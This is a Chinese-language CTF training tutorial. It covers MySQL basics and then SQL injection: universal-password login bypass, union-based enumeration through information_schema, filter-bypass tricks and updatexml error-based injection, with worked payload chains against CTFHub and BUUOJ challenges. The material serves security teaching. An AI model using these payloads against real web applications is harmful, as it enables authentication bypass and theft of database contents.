什么是数据库?
数据库是存放数据的仓库。数据库是一个按数据结构来存储和管理数据的计算机软件系统。
什么是mysql?
MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的关系数据库管理系统应用软件之一。
sql:全称 structured query language 即 结构化查询语言
mysql基础语法
登录mysql
mysql -u <用户名> -p 回车然后输入密码即可
例:用户名root 密码为123
$ mysql -uroot -p
Enter password: ***
参数解释
-u表示user , -p表示password
一个套增删改查的简单示例。
mysql -u<root> -p<password>
show databases; #查询当前所有的数据库
show tables ; #查询当前数据库中,所有的数据表。前提是先使用(use)一个数据库。
查询数据库版本: select version();
查询当前使用的数据库: select database();
create database peixun;
use peixun; #在操作某个表时,是个要注意的点
create table people(
id int,
name varchar(15),
commit varchar(20)
);
insert into people values(1,'hello3','no');
insert into people values(2,'hello2','yes');
insert into people values(233,"hello3",'haha');
select * from people;
select * from people where id = 1; #条件查询
select 1,2,3;
update teacher set age=100 where name="xiaolilaoshi";
delete from people where id = 2333; #删除特定信息
drop table people; #删表
drop database peixun; #删除数据库
1.SQL注入原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
万能账户/密码原理
模拟一个安全性低的后台。
账户: admin' or 1=1 #
密码:随便填点什么
或者
账户: admin
密码:1'or 1=1#
$username = $_POST['username'];
$password = $_POST['password'];
$sql= "select * from people where username = '{$username}' && password = '{$password}' ";
例题 :https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]EasySQL
直接使用万能密码
获得flag
2. 相关知识
Mysql的默认数据库
默认的: information_schema 、 mysql 、 performance_schema
information_schema
它提供了访问数据库元数据的方式,确切的说他是一个信息数据库。其中保存着关于所有数据库的信息。
information_schema下的常用表:
-
schemata ( 存储了所有的数据库名 )
描述数据库:
desc information_schema.schemata;
查看详细的信息
select * from information_schema.schemata;
select schema_name from information_schema.schemata;
解释: schemata会存储所有的数据库名
-
tables ( 数据库名 和 表名关联 )
描述数据库:
desc information_schema.tables;
select table_name,table_schema from information_schema.tables where table_schema= "book";
字段对应: table_name <==> table_schema
-
columns (表名和其列名关联)
描述表结构:
desc information_schema.columns;
信息:
select table_name , table_schema ,column_name from information_schema.columns;
select table_schema, table_name ,column_name from information_schema.columns where table_name = "people" and table_schema = "peixun";
字段对应: table_schema <= => table_name <= => column_name
-
当我们拥有了字段名,那么我们就有办法查到所有的内容
select flag from flag;
常用的函数
selet version(); #查看数据库版本
select database(); #查看当前连接的数据库
select user(); #查看登陆用户
group_concat() #把所有行都拼接为一行数据
concat() #字符串拼接
substr(字符串,开始,长度)#字符串截取函数
ascii() / ord() #获得字符的ascii码
hex() #对字符串进行十六进制编码
select to_base64("a"); #base64编码
Mysql中的注释符
-
--空格
-
#
-
/* */
测列数相关
1)联合查询
此查询可以用于测试列数,当左侧与右侧列数相同时,数据会正常回显,也就拿到了列数。
select 1,2,3 union select 4,5,6;
select id,name,commit from 表名 uinon select 1,2,3;
2)order by
通常用于测列数,当数据正常排序时说明存在此列数存在,列数不存在时会导致数据显示异常。
sql注入的基本流程:
所有数据库的名字 ---》所有的表名 ---》表的字段名/列名--》查询数据
3. 整型注入
什么是整型注入?
关键源码解释
$id = $_GET['id'];
$sql= "select * from people where id = $id ";
例题1:CTFHUB整数型注入:CTFHub
通过order查询有两列;再通过
-1 union select 1,group_concat(schema_name) from information_schema.schemata
来爆它的数据库名字(前面那个id数要为数据库中不存在的值)
除了sqli其他都是mysql中常有的数据库名字,所以猜测flag在sqli里,之后继续爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
然后查询flag表中的所有字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'
然后直接获得
-1 union select 1,flag from flag
小结
--》先爆数据库名字--》爆表名--》爆列名--》爆flag
-1 union select 1,group_concat(schema_name) from information_schema.schemata
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'
-1 union select 1,group_concat(flag) from flag
4. 字符型注入
什么是字符型注入?
关键源码展示
<?php
$id = $_GET['id'];
$sql= "select * from people where id = '{$id}' ";
echo $sql;
?>
例题1:CTFHUB字符型注入:https://www.ctfhub.com/#/skilltree
方法和整型注入一样,只不过需要绕过单引号(添加一个单引号使其闭合,后面的用注释符注释掉就行了)
--》先爆数据库名字--》爆表名--》爆列名--》爆flag
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'#
-1' union select 1,group_concat(flag) from flag#
5. 简单的绕过
1. 空格绕过
绕过方法:注释符/**/
、制表符(TAB)%09
、换页键%0c
示例:select * from people where id =1/**/union/**/select/**/1,2,3;
例题1:ctf.show
2. 关键字大小写绕过
绕过方法:对关键字进行任意大小写变换
示例:select
可以变换为 SELECT
或者SelEct
例题1:ctf.show
3. 返回结果关键字绕过
可以采用hex、to_base64等函数绕过
例题1:ctfshow web入门172题 :ctf.show
4. 过滤逻辑运算符OR、AND
绕过方法:可以通过大小写,使用||
、&&
来进行绕过
5.替换关键字
绕过方法:双写
示例:select被替换为空字符串,可以写为seselectlect
例题1:[极客大挑战 2019]BabySQL:BUUCTF在线评测[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL
6.判断是字符型还是数字型
前提:x可以查出数据
-
如果是数字型:
id = x and 1=1
不会影响结果被查出,但是id = x and 1=2
会影响结果;而字符型由于引号的包裹,不会产生上述情况,一般都是查不到数据。 -
假设是字符型
x' and '1'='1
逻辑判断正确,可以查出结果,但是x' and '1'='2
逻辑错误查不到;而数字型直接语法崩溃。
一、报错注入
1. xpath报错
一段xml的demo
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
1)相关函数1 : updatexml
函数用于更新xml中的值,用法如下
select updatexml("<a>abc</a>","a","<a>技术培训</a>");
注入原理:当XPATH参数出现不规范字符会造成报错(第二个参数)可以回显报错信息
select updatexml("<a>abc</a>","~a","<a>技术培训</a>");
注意:因语法问题函数的报错回显最长为32位,所以如果字符串超过32位则需要对字符串进行截取。
concat("a","bc","defg") #字符串拼接 substr(字符串,开始,长度)#字符串截取函数 mid(string, start, length)#字符串截取函数 用法完全相同
例题1:CTFHUB报错注入: CTFHub
-1 union select updatexml(1,concat('~', substr((select group_concat(schema_name) from information_schema.schemata),31,30) ),1)
-1 union select updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),1)
information_schema,performance__schema,mysql,sqli
-1 union select updatexml(1,concat('~', substr((select group_concat(table_name) from information_schema.tables where table_schema='sqli'),1,30) ),1)
~news,flag
ctfhub{b92076642f5985300db9fab9ac4f96905389dd71}
select * from news where id=-1 union select updatexml(1,concat('~', substr((select group_concat(flag) from flag ),26,30) ),1)
查询错误: XPATH syntax error: '~b9fab9ac4f96905389dd71}'